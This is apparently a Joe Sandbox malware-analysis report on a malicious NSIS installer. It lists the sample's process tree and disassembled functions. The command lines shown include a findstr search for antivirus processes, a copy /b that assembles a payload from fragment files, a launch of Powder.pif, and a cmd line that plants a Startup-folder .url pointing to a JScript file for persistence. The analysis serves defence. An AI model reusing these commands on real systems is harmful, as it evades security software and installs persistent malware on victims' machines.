Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x990000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:07:26
Start date:	12/10/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"
Imagebase:	0x150000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:07:26
Start date:	12/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 103495
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:07:26
Start date:	12/10/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "aroundaccommodategroupseverything" Fine
Imagebase:	0x150000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:07:26
Start date:	12/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Correct + ..\Transparent + ..\Barbie + ..\Gloves + ..\Latin + ..\Story + ..\Ski + ..\Appraisal n
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	20:07:26
Start date:	12/10/2024
Path:	C:\Users\user\AppData\Local\Temp\103495\Powder.pif
Wow64 process (32bit):	true
Commandline:	Powder.pif n
Imagebase:	0xe00000
File size:	893'608 bytes
MD5 hash:	18CE19B57F43CE0A5AF149C96AECC685
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 5%, ReversingLabs Detection: 10%, Virustotal, Browse
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	20:07:27
Start date:	12/10/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x310000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	20:07:28
Start date:	12/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url" & echo URL="C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url" & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	20:07:28
Start date:	12/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	20:07:40
Start date:	12/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js"
Imagebase:	0x7ff740f80000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	20:07:41
Start date:	12/10/2024
Path:	C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr" "C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\O"
Imagebase:	0x8e0000
File size:	893'608 bytes
MD5 hash:	18CE19B57F43CE0A5AF149C96AECC685
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 5%, ReversingLabs Detection: 10%, Virustotal, Browse
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	17.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.7%
Total number of Nodes:	1528
Total number of Limit Nodes:	34

Executed Functions

Function 004050CD Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040512F
GetDlgItem.USER32(?,000003EE), ref: 0040513E
GetClientRect.USER32(?,?), ref: 00405196
GetSystemMetrics.USER32(00000015), ref: 0040519E
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051BF
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051D0
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004051E3
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004051F1
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405204
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405226
ShowWindow.USER32(?,00000008), ref: 0040523A
GetDlgItem.USER32(?,000003EC), ref: 0040525B
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040526B
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405280
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040528C
GetDlgItem.USER32(?,000003F8), ref: 0040514D

Part of subcall function 00403D98: SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

GetDlgItem.USER32(?,000003EC), ref: 004052AB
CreateThread.KERNELBASE(00000000,00000000,Function_00005047,00000000), ref: 004052B9
CloseHandle.KERNELBASE(00000000), ref: 004052C0
ShowWindow.USER32(00000000), ref: 004052E7
ShowWindow.USER32(?,00000008), ref: 004052EC
ShowWindow.USER32(00000008), ref: 00405333
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405365
CreatePopupMenu.USER32 ref: 00405376
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040538B
GetWindowRect.USER32(?,?), ref: 0040539E
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053C0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004053FB
OpenClipboard.USER32(00000000), ref: 0040540B
EmptyClipboard.USER32 ref: 00405411
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 0040541D
GlobalLock.KERNEL32(00000000), ref: 00405427
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040543B
GlobalUnlock.KERNEL32(00000000), ref: 0040545D
SetClipboardData.USER32(0000000D,00000000), ref: 00405468
CloseClipboard.USER32 ref: 0040546E

Strings

{, xrefs: 00405352
New install of "%s" to "%s", xrefs: 00405182
@rD, xrefs: 004053D7

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: @rD$New install of "%s" to "%s"${
API String ID: 2110491804-2409696222
Opcode ID: f168db28b2c12902a58862b60cbdcc3c6e49ead995c60d9878de2ccec3fe74d8
Instruction ID: 480b9f2609884c7685ddca5963e0cfcc77f9e358d06567921943d8ab7e89b76b
Opcode Fuzzy Hash: f168db28b2c12902a58862b60cbdcc3c6e49ead995c60d9878de2ccec3fe74d8
Instruction Fuzzy Hash: 14B15B70800608FFDB11AFA0DD85EAE7B79EF44355F00803AFA45BA1A0CBB49A519F59

Function 00403883 Relevance: 54.6, APIs: 22, Strings: 9, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038A2
SetErrorMode.KERNELBASE(00008001), ref: 004038AD
OleInitialize.OLE32(00000000), ref: 004038B4

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

SHGetFileInfoW.SHELL32(00409264,00000000,?,000002B4,00000000), ref: 004038DC

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetCommandLineW.KERNEL32(0046ADC0,NSIS Error), ref: 004038F1
GetModuleHandleW.KERNEL32(00000000,004C30A0,00000000), ref: 00403904
CharNextW.USER32(00000000,004C30A0,00000020), ref: 0040392B
GetTempPathW.KERNEL32(00002004,004D70C8,00000000,00000020), ref: 00403A00
GetWindowsDirectoryW.KERNEL32(004D70C8,00001FFF), ref: 00403A15
lstrcatW.KERNEL32(004D70C8,\Temp), ref: 00403A21
DeleteFileW.KERNELBASE(004D30C0), ref: 00403A38
CoUninitialize.COMBASE(?), ref: 00403AD1
ExitProcess.KERNEL32 ref: 00403AF1
lstrcatW.KERNEL32(004D70C8,~nsu.tmp), ref: 00403AFD
lstrcmpiW.KERNEL32(004D70C8,004CF0B8,004D70C8,~nsu.tmp), ref: 00403B09
CreateDirectoryW.KERNEL32(004D70C8,00000000), ref: 00403B15
SetCurrentDirectoryW.KERNEL32(004D70C8), ref: 00403B1C
DeleteFileW.KERNEL32(004331E8,004331E8,?,00477008,00409204,00473000,?), ref: 00403B6D
CopyFileW.KERNEL32(004DF0D8,004331E8,00000001), ref: 00403B81
CloseHandle.KERNEL32(00000000,004331E8,004331E8,?,004331E8,00000000), ref: 00403BAE
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C04
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C40

Strings

/D=, xrefs: 004039A6
SeShutdownPrivilege, xrefs: 00403C16
\Temp, xrefs: 00403A1B
~nsu.tmp, xrefs: 00403AF7
NCRC, xrefs: 0040397C
1C, xrefs: 00403B56
NSIS Error, xrefs: 004038E2
Error launching installer, xrefs: 00403A7D
_?=, xrefs: 00403A64

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp$1C
API String ID: 2435955865-239407132
Opcode ID: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction ID: 7cf1fa831aca86d96b8495533088dbe4cf0b0326274ef0a42366eb07f7c747b9
Opcode Fuzzy Hash: b4c90e19bc4a522d6528af1b5983b0f211df9e73c6af6eb8e5ff34ebe7c06cb6
Instruction Fuzzy Hash: C4A1B671544305BAD6207F629D4AF1B3EACAF0070AF15483FF585B61D2DBBC8A448B6E

Function 004074BB Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction ID: b44593247c4c050b0e646bb53675e7b1a8962b0b92449cff70e8ee1879f4dc4f
Opcode Fuzzy Hash: 40903ab5852a4d5be4c36b37cb9ac035c10bc9e934730a02f9966fb4d26bd2b9
Instruction Fuzzy Hash: 00F14871908249DBDF18CF28C8946E93BB1FF44345F14852AFD5A9B281D338E986DF86

Function 004062FC Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
GetProcAddress.KERNEL32(00000000), ref: 00406327

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction ID: 23f85fcbdf3119ad7ff9d94b99dcad510d7c567b01d836bd9cab37df641e0753
Opcode Fuzzy Hash: a32725a6e723fbcd4130456278775f3bec070c67c36dcd31cef0056e0dec9b78
Instruction Fuzzy Hash: 53D0123120010597C6001B65AE0895F776CEF95611707803EF542F3132EB34D415AAEC

Function 004062D5 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
FindClose.KERNEL32(00000000), ref: 004062EC

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction ID: 3dd5e1b78c12f0f437ff376ab6b0e1f90f8becb0d3509d6a9a7f52ed6ae53baf
Opcode Fuzzy Hash: c6f116a51c08f79c55c0589ec24d04b7eaebe21ecc1702d782a9edd0eda53026
Instruction Fuzzy Hash: 7AD0C9315041205BC25127386E0889B6A589F163723258A7AB5A6E11E0CB388C2296A8

Function 00405479 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054B5
ShowWindow.USER32(?), ref: 004054D2
DestroyWindow.USER32 ref: 004054E6
SetWindowLongW.USER32(?,00000000,00000000), ref: 00405502
GetDlgItem.USER32(?,?), ref: 00405523
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405537
IsWindowEnabled.USER32(00000000), ref: 0040553E
GetDlgItem.USER32(?,00000001), ref: 004055ED
GetDlgItem.USER32(?,00000002), ref: 004055F7
SetClassLongW.USER32(?,000000F2,?), ref: 00405611
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00405662
GetDlgItem.USER32(?,00000003), ref: 00405708
ShowWindow.USER32(00000000,?), ref: 0040572A
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040573C
EnableWindow.USER32(?,?), ref: 00405757
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040576D
EnableMenuItem.USER32(00000000), ref: 00405774
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040578C
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040579F
lstrlenW.KERNEL32(00447240,?,00447240,0046ADC0), ref: 004057C8
SetWindowTextW.USER32(?,00447240), ref: 004057DC
ShowWindow.USER32(?,0000000A), ref: 00405910

Strings

@rD, xrefs: 004057B9

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: @rD
API String ID: 3282139019-3814967855
Opcode ID: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction ID: 0f9b988f21b44e482dc064b3562f20aa73efc2902ac8c6ffeb9ddf27563d0ddb
Opcode Fuzzy Hash: 892c705fd8619986465a6960d4e81f7d1e8168c1c52714a2b5abc7a1d7472251
Instruction Fuzzy Hash: D8C1C371500A04EBDB216F61EE49E2B3BA9EB45345F00093EF551B12F0DB799891EF2E

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004CB0B0,?,000000E6,0040F0D0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,0040F0D0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

Jump: %d, xrefs: 00401602
BringToFront, xrefs: 004016BD
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
Rename failed: %s, xrefs: 0040194B
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
detailprint: %s, xrefs: 00401679
CreateDirectory: "%s" (%d), xrefs: 004017BF
Call: %d, xrefs: 0040165A
SetFileAttributes failed., xrefs: 004017A1
Aborting: "%s", xrefs: 0040161D
SetFileAttributes: "%s":%08X, xrefs: 0040177B
Rename on reboot: %s, xrefs: 00401943
Rename: %s, xrefs: 004018F8
CreateDirectory: "%s" created, xrefs: 00401849
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
Sleep(%d), xrefs: 0040169D

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction ID: b6b48939bc8a7188504c618ab7841b31fdd5898bf24c808f75461ec369738802
Opcode Fuzzy Hash: e7226c198396c3fe3a7f3bea8c4d52a2e846d2bb9e79691e18455936b93e1c7d
Instruction Fuzzy Hash: 0AB1F471A00204ABDB10BF61DD46DAE3B69EF44314B21817FF946B21E1DA7D4E40CAAE

Function 0040592C Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

lstrcatW.KERNEL32(004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0,-00000002,00000000,004D70C8,00403AC1,?), ref: 004059AE
lstrlenW.KERNEL32(00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006,004C30A0), ref: 00405A30
lstrcmpiW.KERNEL32(00462538,.exe,00462540,?,?,?,00462540,00000000,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000), ref: 00405A43
GetFileAttributesW.KERNEL32(00462540), ref: 00405A4E

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004C70A8), ref: 00405AB7
RegisterClassW.USER32(0046AD60), ref: 00405B0A
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B22
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B5B

Part of subcall function 00403E95: SetWindowTextW.USER32(00000000,0046ADC0), ref: 00403F30

ShowWindow.USER32(00000005,00000000), ref: 00405B91
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BA2
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BAD
GetClassInfoW.USER32(00000000,RichEdit20A,0046AD60), ref: 00405BBD
GetClassInfoW.USER32(00000000,RichEdit,0046AD60), ref: 00405BCA
RegisterClassW.USER32(0046AD60), ref: 00405BD3
DialogBoxParamW.USER32(?,00000000,00405479,00000000), ref: 00405BF2

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00405972
B%F, xrefs: 00405A1F
_Nb, xrefs: 00405AD1
RichEd32, xrefs: 00405BA8
@rD, xrefs: 00405965
RichEd20, xrefs: 00405B9D
.DEFAULT\Control Panel\International, xrefs: 00405999
@%F, xrefs: 004059F6
RichEdit, xrefs: 00405BC4
.exe, xrefs: 00405A3D
RichEdit20A, xrefs: 00405BB6, 00405BBB

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
